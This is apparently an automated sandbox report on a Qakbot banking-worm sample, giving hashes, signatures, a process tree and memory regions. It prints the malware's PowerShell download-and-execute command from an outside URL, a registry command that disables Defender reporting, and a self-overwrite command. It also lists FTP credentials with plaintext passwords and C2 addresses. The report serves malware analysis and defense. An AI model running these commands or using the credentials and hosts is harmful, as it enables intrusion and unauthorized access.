Analysis

  • max time kernel
    149s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    13-02-2022 22:36

General

  • Target

    058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608.exe

  • Size

    400KB

  • MD5

    30f804952e82a4bf30c776402967850f

  • SHA1

    6db90c30220e594b31366a24a53fdb55308a4357

  • SHA256

    058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608

  • SHA512

    987063f865d77919d8ec3bacdba9380a67a7c39c528a332dcd038cd5577a091928e569fdf4e00bdb876cb234ecaa2dd8bafb5aa97b4331b8564c1f69e90b6c92

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://www.allens-treasure-house.com/books_files/001.ps1

Extracted

Family

qakbot

Version

322.148

Campaign

1518695014

Credentials

  • Protocol:
    ftp
  • Host:
    66.96.133.9
  • Port:
    21
  • Username:
    help
  • Password:
    eT5TerAcnFe6~

  • Protocol:
    ftp
  • Host:
    174.123.38.58
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    4BQ1MeeRAwNZEVu

  • Protocol:
    ftp
  • Host:
    61.221.12.26
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    346HZGCMlwecz9S

  • Protocol:
    ftp
  • Host:
    67.222.137.18
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    p4a8k6fE1FtA3pR

  • Protocol:
    ftp
  • Host:
    107.6.152.61
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    RoP4Af0RKAAQ74V
C2

179.62.153.88:443

50.198.141.161:2222

69.129.91.38:443

66.189.228.49:995

96.253.104.73:443

71.183.129.113:443

125.25.130.203:995

173.175.174.154:443

162.104.186.175:995

75.109.222.140:995

68.173.55.51:443

78.175.254.43:443

106.159.251.143:995

47.143.83.172:443

71.190.202.120:443

73.136.232.174:995

96.253.104.73:995

192.158.217.32:22

65.153.16.250:993

70.95.129.59:443

Signatures

  • Qakbot/Qbot

    Qbot or Qakbot is a sophisticated worm with banking capabilities.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:1396
    • C:\Users\Admin\AppData\Local\Temp\058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608.exe
      "C:\Users\Admin\AppData\Local\Temp\058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:836
      • C:\Users\Admin\AppData\Local\Temp\058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608.exe
        "C:\Users\Admin\AppData\Local\Temp\058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608.exe" /C
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1636
      • C:\Users\Admin\AppData\Roaming\Microsoft\Harfwa\harfw.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Harfwa\harfw.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:1452
        • C:\Users\Admin\AppData\Roaming\Microsoft\Harfwa\harfw.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Harfwa\harfw.exe" /C
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:1368
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          4⤵
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:396
      • C:\Windows\system32\reg.exe
        C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
        3⤵
          PID:1080
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://www.allens-treasure-house.com/books_files/001.ps1'); Invoke-MainWorker -Command 'C:\Users\Admin\AppData\Local\Temp\nvtbwkfteawercajkosxmtvjkb.txt'"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:772
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "C:\Users\Admin\AppData\Local\Temp\058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608.exe"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:920
          • C:\Windows\SysWOW64\PING.EXE
            ping.exe -n 6 127.0.0.1
            4⤵
            • Runs ping.exe
            • Suspicious behavior: EnumeratesProcesses
            PID:1996
    • C:\Windows\system32\Dwm.exe
      "C:\Windows\system32\Dwm.exe"
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:1360
    • C:\Windows\system32\taskhost.exe
      "taskhost.exe"
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:1256
    • C:\Windows\system32\conhost.exe
      \??\C:\Windows\system32\conhost.exe "1048679824-641473634-5093629621605390816-1721825357-13111516982259047032052131543"
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:688
    • C:\Windows\system32\conhost.exe
      \??\C:\Windows\system32\conhost.exe "55744527-1190308623108169139918329020741157474417-1791291403-1384991350515096794"
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:1572

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Remote System Discovery

    1
    T1018

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Harfwa\harf.dat
      MD5

      c019c9971ac9b09a446c52697ad6463f

      SHA1

      b7e7ab1dd2bb91e31beb0bc712e8a66f0f54a9f7

      SHA256

      11ccb77316c9a2b4f76707ae01b9859dc3f8ef58499be1ad299195704f288829

      SHA512

      449dacc6cc424408689f70f0d629788b59cda6836789387b012130f3d8a0a4092c47cb54bd5a83a61fb223d1062d2a921715a1ddfd4c049d12a4221c630c2d73

    • C:\Users\Admin\AppData\Roaming\Microsoft\Harfwa\harfw.exe
      MD5

      30f804952e82a4bf30c776402967850f

      SHA1

      6db90c30220e594b31366a24a53fdb55308a4357

      SHA256

      058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608

      SHA512

      987063f865d77919d8ec3bacdba9380a67a7c39c528a332dcd038cd5577a091928e569fdf4e00bdb876cb234ecaa2dd8bafb5aa97b4331b8564c1f69e90b6c92

    • C:\Users\Admin\AppData\Roaming\Microsoft\Harfwa\harfw.exe
      MD5

      30f804952e82a4bf30c776402967850f

      SHA1

      6db90c30220e594b31366a24a53fdb55308a4357

      SHA256

      058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608

      SHA512

      987063f865d77919d8ec3bacdba9380a67a7c39c528a332dcd038cd5577a091928e569fdf4e00bdb876cb234ecaa2dd8bafb5aa97b4331b8564c1f69e90b6c92

    • C:\Users\Admin\AppData\Roaming\Microsoft\Harfwa\harfw.exe
      MD5

      30f804952e82a4bf30c776402967850f

      SHA1

      6db90c30220e594b31366a24a53fdb55308a4357

      SHA256

      058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608

      SHA512

      987063f865d77919d8ec3bacdba9380a67a7c39c528a332dcd038cd5577a091928e569fdf4e00bdb876cb234ecaa2dd8bafb5aa97b4331b8564c1f69e90b6c92

    • \Users\Admin\AppData\Roaming\Microsoft\Harfwa\harfw.exe
      MD5

      30f804952e82a4bf30c776402967850f

      SHA1

      6db90c30220e594b31366a24a53fdb55308a4357

      SHA256

      058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608

      SHA512

      987063f865d77919d8ec3bacdba9380a67a7c39c528a332dcd038cd5577a091928e569fdf4e00bdb876cb234ecaa2dd8bafb5aa97b4331b8564c1f69e90b6c92

    • \Users\Admin\AppData\Roaming\Microsoft\Harfwa\harfw.exe
      MD5

      30f804952e82a4bf30c776402967850f

      SHA1

      6db90c30220e594b31366a24a53fdb55308a4357

      SHA256

      058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608

      SHA512

      987063f865d77919d8ec3bacdba9380a67a7c39c528a332dcd038cd5577a091928e569fdf4e00bdb876cb234ecaa2dd8bafb5aa97b4331b8564c1f69e90b6c92

    • \Users\Admin\AppData\Roaming\Microsoft\Harfwa\harfw.exe
      MD5

      30f804952e82a4bf30c776402967850f

      SHA1

      6db90c30220e594b31366a24a53fdb55308a4357

      SHA256

      058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608

      SHA512

      987063f865d77919d8ec3bacdba9380a67a7c39c528a332dcd038cd5577a091928e569fdf4e00bdb876cb234ecaa2dd8bafb5aa97b4331b8564c1f69e90b6c92

    • memory/396-92-0x00000000007F0000-0x00000000007F1000-memory.dmp
      Filesize

      4KB

    • memory/396-99-0x0000000000220000-0x0000000000221000-memory.dmp
      Filesize

      4KB

    • memory/396-131-0x00000000022E0000-0x00000000022E1000-memory.dmp
      Filesize

      4KB

    • memory/396-110-0x00000000020A0000-0x00000000020A1000-memory.dmp
      Filesize

      4KB

    • memory/396-108-0x0000000002040000-0x0000000002041000-memory.dmp
      Filesize

      4KB

    • memory/396-107-0x0000000002030000-0x0000000002031000-memory.dmp
      Filesize

      4KB

    • memory/396-70-0x00000000745E1000-0x00000000745E3000-memory.dmp
      Filesize

      8KB

    • memory/396-97-0x0000000000200000-0x0000000000201000-memory.dmp
      Filesize

      4KB

    • memory/396-72-0x00000000000C0000-0x0000000000128000-memory.dmp
      Filesize

      416KB

    • memory/396-91-0x00000000007D0000-0x00000000007D1000-memory.dmp
      Filesize

      4KB

    • memory/396-88-0x0000000000630000-0x000000000065F000-memory.dmp
      Filesize

      188KB

    • memory/396-85-0x00000000007C0000-0x00000000007C1000-memory.dmp
      Filesize

      4KB

    • memory/396-84-0x00000000004E0000-0x00000000004E1000-memory.dmp
      Filesize

      4KB

    • memory/396-83-0x0000000000240000-0x0000000000241000-memory.dmp
      Filesize

      4KB

    • memory/688-111-0x0000000077060000-0x0000000077061000-memory.dmp
      Filesize

      4KB

    • memory/688-109-0x0000000000160000-0x000000000018C000-memory.dmp
      Filesize

      176KB

    • memory/772-60-0x000007FEF2D00000-0x000007FEF385D000-memory.dmp
      Filesize

      11.4MB

    • memory/772-65-0x000007FEF542E000-0x000007FEF542F000-memory.dmp
      Filesize

      4KB

    • memory/772-116-0x000007FEFEF80000-0x000007FEFEF81000-memory.dmp
      Filesize

      4KB

    • memory/772-113-0x0000000077060000-0x0000000077061000-memory.dmp
      Filesize

      4KB

    • memory/772-112-0x000000001B6A0000-0x000000001B6CC000-memory.dmp
      Filesize

      176KB

    • memory/772-66-0x0000000001FE0000-0x0000000001FE2000-memory.dmp
      Filesize

      8KB

    • memory/772-71-0x0000000001FEB000-0x000000000200A000-memory.dmp
      Filesize

      124KB

    • memory/772-67-0x0000000001FE2000-0x0000000001FE4000-memory.dmp
      Filesize

      8KB

    • memory/772-59-0x000007FEFBAE1000-0x000007FEFBAE3000-memory.dmp
      Filesize

      8KB

    • memory/772-68-0x0000000001FE4000-0x0000000001FE7000-memory.dmp
      Filesize

      12KB

    • memory/836-94-0x0000000000280000-0x00000000002A7000-memory.dmp
      Filesize

      156KB

    • memory/836-105-0x00000000003F0000-0x00000000003F1000-memory.dmp
      Filesize

      4KB

    • memory/836-53-0x0000000076421000-0x0000000076423000-memory.dmp
      Filesize

      8KB

    • memory/836-101-0x0000000000280000-0x00000000002A7000-memory.dmp
      Filesize

      156KB

    • memory/836-100-0x00000000003A0000-0x00000000003A1000-memory.dmp
      Filesize

      4KB

    • memory/836-103-0x0000000077490000-0x0000000077491000-memory.dmp
      Filesize

      4KB

    • memory/920-129-0x0000000077490000-0x0000000077491000-memory.dmp
      Filesize

      4KB

    • memory/920-118-0x0000000000150000-0x0000000000178000-memory.dmp
      Filesize

      160KB

    • memory/920-130-0x0000000000190000-0x0000000000191000-memory.dmp
      Filesize

      4KB

    • memory/920-128-0x0000000000120000-0x0000000000147000-memory.dmp
      Filesize

      156KB

    • memory/1256-86-0x00000000005A0000-0x00000000005A1000-memory.dmp
      Filesize

      4KB

    • memory/1256-76-0x00000000005A0000-0x00000000005A1000-memory.dmp
      Filesize

      4KB

    • memory/1256-87-0x0000000001B50000-0x0000000001B7C000-memory.dmp
      Filesize

      176KB

    • memory/1256-74-0x0000000001B50000-0x0000000001B7C000-memory.dmp
      Filesize

      176KB

    • memory/1256-90-0x0000000077060000-0x0000000077061000-memory.dmp
      Filesize

      4KB

    • memory/1256-75-0x0000000001B80000-0x0000000001BAD000-memory.dmp
      Filesize

      180KB

    • memory/1256-89-0x00000000772E1000-0x00000000772E2000-memory.dmp
      Filesize

      4KB

    • memory/1360-93-0x0000000001E30000-0x0000000001E5C000-memory.dmp
      Filesize

      176KB

    • memory/1360-95-0x0000000077060000-0x0000000077061000-memory.dmp
      Filesize

      4KB

    • memory/1396-115-0x0000000077060000-0x0000000077061000-memory.dmp
      Filesize

      4KB

    • memory/1396-114-0x00000000026E0000-0x000000000270C000-memory.dmp
      Filesize

      176KB

    • memory/1572-132-0x0000000001AD0000-0x0000000001AFC000-memory.dmp
      Filesize

      176KB

    • memory/1572-133-0x0000000077060000-0x0000000077061000-memory.dmp
      Filesize

      4KB

    • memory/1996-134-0x0000000000250000-0x0000000000277000-memory.dmp
      Filesize

      156KB

    • memory/1996-135-0x0000000077490000-0x0000000077491000-memory.dmp
      Filesize

      4KB

    • memory/1996-136-0x00000000001A0000-0x00000000001A1000-memory.dmp
      Filesize

      4KB